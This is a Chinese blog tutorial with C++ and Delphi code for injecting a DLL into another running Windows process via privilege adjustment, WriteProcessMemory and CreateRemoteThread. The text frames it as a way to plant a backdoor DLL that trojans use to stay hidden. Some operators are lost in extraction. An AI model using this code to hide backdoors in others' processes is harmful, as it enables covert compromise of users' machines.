[C++] - DLL远程注入实例

来源:http://blog.csdn.net/syf442/archive/2009/07/04/4318899.aspx

 

一般情况下,每个进程都有自己的私有空间,理论上,别的进程是不允许对这个私人空间进行操作的,但是,我们可以利用一些方法进入这个空间并进行操作,将自己的代码写入正在运行的进程中,于是就有了远程注入了。 
对dll后门的编写就不作过多的讨论了,现在来看实现注入功能的可执行文件的编写: 
用到的函数有:

复制代码
   
   
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();
复制代码

 

 

先简单的介绍以下这些函数的作用,因为我们要操作的是系统中的其他进程,如果没有足够的系统权限,我们是无法写入甚至连读取其它进程的内存地址的,所以我们就需要提升自己的权限,用到以下3个函数

   
   
OpenProcessToken(); // 打开进程令牌
LookupPrivilegeValue(); // 返回一个本地系统独一无二的ID,用于系统权限更改
AdjustTokenPrivileges(); // 从英文意思也能看出它是更改进程权限用的吧?

 

 

 

 

进入宿主进程的内存空间 
在拥有了进入宿主进程空间的权限之后,我们就需要在其内存加入让它加载我们后门的代码了,用LoadLibraryA()函数就可以加载我们的DLL了,它只需要DLL文件的路径就可以了,在这里我们要把DLL文件的路径写入到宿主的内存空间里,因为DLL的文件路径并不存在于宿主进程内存空间了,用到的函数有:

   
   
OpenProcess(); // 用于修改宿主进程的一些属性,详细参看MSDN
VirtualAllocEx(); // 用于在宿主内存空间中申请内存空间以写入DLL的文件名
WriteProcessMemory(); // 往申请到的空间中写入DLL的文件名

 

 

 

在宿主中启动新的线程 
用的是LoadLibraryA()函数来加载,但在使用LoadLibraryA()之前必须知道它的入口地址,所以用GetProcAdress来获得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()函数来启动新的线程了,到次,整个注入过程完成,不过还不非常完善,这就留给聪明的你来完成了;)。 


简单的例子:

 

复制代码
   
   
#include < windows.h >
#include
< iostream.h >

int EnableDebugPriv( const char * name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
// 打开进程令牌环
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, & hToken);
// 获得进程本地唯一ID
LookupPrivilegeValue(NULL, name, & luid) ;

tp.PrivilegeCount
= 1 ;
tp.Privileges[
0 ].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[
0 ].Luid = luid;
// 调整权限
AdjustTokenPrivileges(hToken, 0 , & tp, sizeof (TOKEN_PRIVILEGES), NULL, NULL);
return 0 ;
}

// *****************************************************************************************************************************

BOOL InjectDll(
const char * DllFullPath, const DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
EnableDebugPriv(SE_DEBUG_NAME);
// 打开远程线程
hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

char * pszLibFileRemote;

// 使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
pszLibFileRemote = ( char * ) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath) + 1 , MEM_COMMIT, PAGE_READWRITE);


// 使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, ( void * ) DllFullPath, lstrlen(DllFullPath) + 1 , NULL);

// ##############################################################################
// 计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT(
" Kernel32 " )), " LoadLibraryA " );
// (关于GetModuleHandle函数和GetProcAddress函数)

// 启动远程线程LoadLibraryA,通过远程线程调用创建新的线程
HANDLE hRemoteThread;
if ( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0 , pfnStartAddr, pszLibFileRemote, 0 , NULL) ) == NULL)
{
cout
<< " 注入线程失败! " << endl;
return FALSE;
}
// ##############################################################################

/*
// 在//###.....//###里的语句也可以用如下的语句代替:
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
//是不是感觉简单了很多
*/

// 释放句柄

CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);

return TRUE;
}

// *****************************************************************************************************************************

int main()
{
InjectDll(
" c:\\zrqfzr.dll " , 3060 ) ; // 这个数字是你想注入的进程的ID号
return 0 ;
}
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远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理和注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;
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